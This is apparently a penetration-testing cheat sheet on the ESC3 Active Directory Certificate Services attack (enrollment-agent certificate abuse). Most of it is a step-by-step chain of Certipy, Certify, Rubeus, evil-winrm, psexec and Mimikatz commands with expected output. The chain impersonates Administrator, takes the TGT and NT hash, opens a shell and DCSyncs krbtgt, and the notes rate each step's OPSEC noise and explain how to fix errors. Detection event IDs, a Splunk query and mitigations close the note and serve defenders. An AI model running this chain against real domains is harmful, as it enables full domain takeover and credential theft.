esc3-misconfigured-enrollment-agent-templates.md (14821B)
1 --- 2 title: "ESC3 — Misconfigured Enrollment Agent Templates" 3 description: "ESC3 exploits the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1). In legitimate AD environments, this EKU exists for scenarios like IT…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "privilege-escalation"] 7 tools: ["Mimikatz", "Rubeus", "Certipy", "Evil-WinRM", "OpenSSL"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC3 — Misconfigured Enrollment Agent Templates.md" 11 --- 12 # ESC3 — Misconfigured Enrollment Agent Templates 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Certificate Template Misconfiguration | 19 | **Difficulty** | Medium (two-stage attack) | 20 | **Pre-requisites** | CRA template + second auth template, both enrollable | 21 | **Tools** | Certipy, Certify.exe, Rubeus | 22 | **OPSEC Noise** | Medium — two cert requests, requester ≠ subject on second | 23 | **One-liner** | Request an Enrollment Agent cert (Template 1), then use it to request a Client Auth cert on behalf of Administrator (Template 2). | 24 25 *** 26 27 ## What Is ESC3? 28 29 ESC3 exploits the **Certificate Request Agent EKU** (OID `1.3.6.1.4.1.311.20.2.1`). In legitimate AD environments, this EKU exists for scenarios like IT helpdesk staff requesting smart card certificates on behalf of users who can't do it themselves — a perfectly valid business use case. The abuse happens when this functionality is misconfigured and exposed to low-privileged accounts. 30 31 Where ESC1 and ESC2 are single-template attacks, **ESC3 is fundamentally a two-template, two-certificate attack**. You need: 32 - **Template 1 (CRA Template):** Grants you an Enrollment Agent certificate 33 - **Template 2 (Target Template):** A second template that allows agent-based enrollment and has a domain authentication EKU 34 35 Think of it like this — Template 1 gives you a **staff badge** that says "I'm allowed to request on behalf of others." Template 2 is the **door** you then use that badge to walk through, as any user you choose. 36 37 *** 38 39 ## The Two Circumstances That Enable ESC3 40 41 ESC3 has two distinct vulnerability circumstances that must each exist — one on each template: 42 43 ### Circumstance 1 — The CRA Template (Template 1) 44 | Condition | What to Check | 45 |-----------|---------------| 46 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` | 47 | Manager Approval is off | `Requires Manager Approval: False` | 48 | No authorized signatures required | `Authorized Signatures Required: 0` | 49 | Template has **Certificate Request Agent EKU** | `Enrollment Agent: True` / EKU OID `1.3.6.1.4.1.311.20.2.1` | 50 51 ### Circumstance 2 — The Target Template (Template 2) 52 | Condition | What to Check | 53 |-----------|---------------| 54 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` | 55 | Manager Approval is off | `Requires Manager Approval: False` | 56 | **Enrollment Agent Restrictions NOT enforced on the CA** | CA output shows `Enrollment Agent Restrictions: None` | 57 | Template has a **domain authentication EKU** | `Client Authentication: True` | 58 | If schema version > 1: must have an Application Policy Issuance Requirement requiring CRA EKU | Check `Authorized Signatures Required` and `Application Policies` | 59 60 > 💡 The built-in **`User`** template is almost always a valid Template 2 target in real environments because it is version 1 schema — meaning it doesn't require authorized signatures, and it has Client Authentication EKU. Always check if it's available before looking for something exotic. 61 62 *** 63 64 ## Step 0 — Enumeration 65 66 ```bash 67 # Standard vulnerable scan 68 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 69 -dc-ip $TARGET -vulnerable -stdout 70 71 # With hash 72 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ 73 -dc-ip $TARGET -vulnerable -stdout 74 ``` 75 76 ### What Vulnerable ESC3 Output Looks Like 77 78 **Template 1 (CRA Template) — what you're looking for:** 79 ``` 80 Template Name : ESC3-CRA 81 Enabled : True 82 Client Authentication : False 83 Enrollment Agent : True ← THE key flag 84 Any Purpose : False 85 Enrollee Supplies Subject : False 86 Extended Key Usage : Certificate Request Agent ← OID 1.3.6.1.4.1.311.20.2.1 87 Requires Manager Approval : False 88 Authorized Signatures Required : 0 89 Permissions 90 Enrollment Rights : DOMAIN\Domain Users 91 92 [!] Vulnerabilities 93 ESC3 : 'DOMAIN\Domain Users' can enroll and template has Certificate Request Agent EKU set 94 ``` 95 96 **CA output — confirm no Enrollment Agent Restrictions:** 97 ``` 98 CA Name : DOMAIN-CA 99 Enrollment Agent Restrictions : None ← Required for attack to work 100 ``` 101 102 **Template 2 (Target Template) — what you're looking for:** 103 ``` 104 Template Name : User 105 Enabled : True 106 Client Authentication : True ← Auth EKU ✓ 107 Requires Manager Approval : False 108 Authorized Signatures Required : 0 109 Permissions 110 Enrollment Rights : DOMAIN\Domain Users 111 ``` 112 113 *** 114 115 ## The Full Attack Chain — Linux (Certipy) 116 117 ### Step 1 — Request Your Enrollment Agent Certificate (Template 1) 118 119 ```bash 120 certipy-ad req \ 121 -u 'lowpriv@domain.htb' \ 122 -p 'Password123!' \ 123 -dc-ip $TARGET \ 124 -ca 'DOMAIN-CA-NAME' \ 125 -template 'ESC3-CRA' 126 127 # Output: lowpriv.pfx 128 # This is your Enrollment Agent weapon — treat it carefully 129 ``` 130 131 **Expected output:** 132 ``` 133 [*] Requesting certificate via RPC 134 [*] Successfully requested certificate 135 [*] Request ID is 12 136 [*] Got certificate with multiple identities 137 [*] Saving certificate and private key to 'lowpriv.pfx' 138 ``` 139 140 > ⚠️ Notice that unlike ESC1/ESC2, there is **no `-upn` flag here**. You are simply requesting the CRA cert for yourself. The impersonation happens in Step 2. 141 142 *** 143 144 ### Step 2 — Use Agent Cert to Request ON BEHALF OF Administrator (Template 2) 145 146 ```bash 147 certipy-ad req \ 148 -u 'lowpriv@domain.htb' \ 149 -p 'Password123!' \ 150 -dc-ip $TARGET \ 151 -ca 'DOMAIN-CA-NAME' \ 152 -template 'User' \ 153 -on-behalf-of 'domain\administrator' \ 154 -pfx lowpriv.pfx 155 156 # Output: administrator.pfx 157 ``` 158 159 **Expected output:** 160 ``` 161 [*] Requesting certificate via RPC 162 [*] Successfully requested certificate 163 [*] Request ID is 13 164 [*] Got certificate with UPN 'administrator@domain.htb' 165 [*] Saving certificate and private key to 'administrator.pfx' 166 ``` 167 168 > 💡 The `-on-behalf-of` value uses **`DOMAIN\username`** format (backslash), not UPN format. Get this wrong and you'll get an error. Use the NetBIOS domain name, not the FQDN. 169 170 > 💡 The `-pfx` flag here points to the **Enrollment Agent cert** you got in Step 1 — Certipy uses it to co-sign the CSR on behalf of the target user. 171 172 *** 173 174 ### Step 3 — Authenticate as Administrator 175 176 ```bash 177 certipy-ad auth \ 178 -pfx administrator.pfx \ 179 -username administrator \ 180 -domain domain.htb \ 181 -dc-ip $TARGET 182 ``` 183 184 **Expected output:** 185 ``` 186 [*] Using principal: 'administrator@domain.htb' 187 [*] Trying to get TGT... 188 [*] Got TGT 189 [*] Saving credential cache to 'administrator.ccache' 190 [*] Got hash for 'administrator@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH 191 ``` 192 193 *** 194 195 ### Step 4 — Shell 196 197 ```bash 198 # Kerberos TGT 199 export KRB5CCNAME=administrator.ccache 200 wmiexec.py -k -no-pass DC01.domain.htb 201 evil-winrm -i DC01.domain.htb -r domain.htb 202 203 # Pass-the-Hash 204 evil-winrm -i $TARGET -u administrator -H <NTHASH> 205 psexec.py administrator@$TARGET -hashes :NTHASH 206 ``` 207 208 *** 209 210 ## Full Attack Chain — Windows (Certify.exe + Rubeus) 211 212 ```powershell 213 # ── STEP 1: Get Enrollment Agent Certificate ──────────────────────────────── 214 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:ESC3-CRA 215 # Copy cert.pem output, save to file, then convert: 216 openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx 217 # Leave password blank 218 219 # ── STEP 2: Use Agent Cert to Enroll on Behalf of Administrator ────────────── 220 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /onbehalfof:domain\administrator /enrollcert:agent.pfx /enrollcertpw:"" 221 # Copy cert.pem output, convert: 222 openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx 223 224 # ── STEP 3: Get TGT + NT Hash via Rubeus ──────────────────────────────────── 225 .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap 226 227 # ── STEP 4: Import ticket and use ─────────────────────────────────────────── 228 .\Rubeus.exe createnetonly /program:powershell.exe /show 229 .\Rubeus.exe ptt /ticket:<base64ticket> 230 231 # DCSync from the injected session 232 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' 233 ``` 234 235 *** 236 237 ## ESC3 Visual Attack Flow 238 239 ``` 240 [lowpriv@domain.htb] 241 │ 242 │ certipy req -template ESC3-CRA 243 ▼ 244 [lowpriv.pfx] ← Enrollment Agent Certificate (CRA EKU) 245 │ 246 │ certipy req -template User 247 │ -on-behalf-of domain\administrator 248 │ -pfx lowpriv.pfx 249 ▼ 250 [administrator.pfx] ← Certificate issued FOR Administrator 251 │ 252 │ certipy auth -pfx administrator.pfx 253 ▼ 254 [TGT + NT Hash for Administrator] 255 │ 256 ▼ 257 [DOMAIN ADMIN] 258 ``` 259 260 *** 261 262 ## ESC1 vs ESC2 vs ESC3 — Side by Side 263 264 | | ESC1 | ESC2 | ESC3 | 265 |---|---|---|---| 266 | **Templates needed** | 1 | 1 | **2** | 267 | **Steps** | 2 | 2 (Path A) / 3 (Path B) | **3** | 268 | **Key flag** | `ENROLLEE_SUPPLIES_SUBJECT` | `Any Purpose` / No EKU | `Certificate Request Agent EKU` | 269 | **SAN injection** | ✅ Direct via `-upn` | ✅ Path A / ❌ Path B | ❌ Uses `-on-behalf-of` | 270 | **CA restriction matters** | ❌ | ❌ | ✅ `Enrollment Agent Restrictions: None` required | 271 | **Certipy key flag** | `-upn` | `-upn` / `-on-behalf-of` | `-on-behalf-of` + `-pfx` | 272 273 *** 274 275 ## Common Errors and Fixes 276 277 | Error | Cause | Fix | 278 |-------|-------|-----| 279 | `Got error while trying to request certificate` on Step 2 | CA has Enrollment Agent Restrictions set | Check CA output for `Enrollment Agent Restrictions` — if it's not `None`, restrictions are blocking agent enrollment | 280 | `The NETBIOS connection with the remote host timed out` | RPC timeout | Re-run without `-dc-host` flag | 281 | `Certificate has no object SID` on Step 2 | Normal for agent-enrolled certs | Proceed — auth should still work | 282 | `KDC_ERR_CLIENT_NOT_TRUSTED` on auth | Cert not trusted by DC | Ensure CA cert is in NTAuthCertificates — unlikely issue in a real domain | 283 284 *** 285 286 ## Detection Indicators 287 288 - **Event ID 4887** — CA issued a certificate where the `Requester` and `Subject` are **different users** — the clearest sign of ESC3 exploitation 289 - **Event ID 4898** — A certificate template with Certificate Request Agent EKU was loaded during enrollment 290 - Splunk query to detect ESC3-vulnerable template usage: 291 ``` 292 CertificateRequestAgentEKU == "TRUE" 293 AND ManagerApprovalEnabled == "FALSE" 294 AND NumAuthorizedSignatures == 0 295 AND DomainOrAuthenUsersCanEnrollOrAutoEnroll == "TRUE" 296 ``` 297 298 *** 299 300 ## Mitigation 301 302 - **Enable Enrollment Agent Restrictions** on the CA — restrict which agents can enroll on behalf of which users, and for which templates 303 - **Remove `Certificate Request Agent` EKU** from any template that doesn't explicitly require it for a business purpose 304 - **Restrict enrollment rights** on CRA templates — these should never be available to `Domain Users` or `Authenticated Users` 305 - **Schema Version 2 templates** — configure `Authorized Signatures Required: 1` and set the Application Policy to `Certificate Request Agent` — this forces the CA to validate the signing cert is a proper CRA cert, adding a layer of control 306 307 *** 308 309 ## OPSEC Considerations 310 311 | Action | Log Generated | Noise Level | 312 |--------|--------------|-------------| 313 | CRA cert request (Step 1) | Event ID 4886/4887 | 🟢 Low | 314 | On-behalf-of request (Step 2) | Event ID 4887 (requester ≠ subject) | 🟡 Medium | 315 | Authentication (Step 3) | Event ID 4768 (TGT) | 🟢 Low | 316 317 > 💡 The on-behalf-of request in Step 2 is the noisiest part — the CA logs clearly show a different requester and subject. This is the primary detection opportunity. 318 319 Sources 320 AD CS Certificate and Security Configuration Exploits - SecureW2 https://www.securew2.com/blog/ad-cs-certificate-and-security-configuration-exploits 321 redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf 322 AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ 323 Active Directory Certificate Services (ADCS – ESC3) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc3/ 324 Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ 325 ADCS ESC3: Enrollment Agent Template - hendryadrian.com https://www.hendryadrian.com/adcs-esc3-enrollment-agent-template/ 326 Active Directory Certificate Services (ADCS) is vulnerable to ESC3 ... https://www.facebook.com/cybersna/posts/active-directory-certificate-services-adcs-is-vulnerable-to-esc3-certificate-att/999663635697077/ 327 ADCS ESC3 Enrollment Agent Exploitation - Active Directory - Scribd https://www.scribd.com/document/870626405/ADCS-ESC3-Enrollment-Agent-Template 328 Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/ 329 AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html 330 Active-Directory-Certificate-Services-abuse/ADCS.md at main - GitHub https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/main/ADCS.md 331 An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ 332 Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/ 333 Exploiting ESC3 to compromise the domain | Attacking ADCS full course https://www.youtube.com/watch?v=sMTwPU-FTuk 334 Abusing Active Directory Certificate Services (ADCS) | ESC3 Attack Explained https://www.youtube.com/watch?v=T6-q_R7L5GE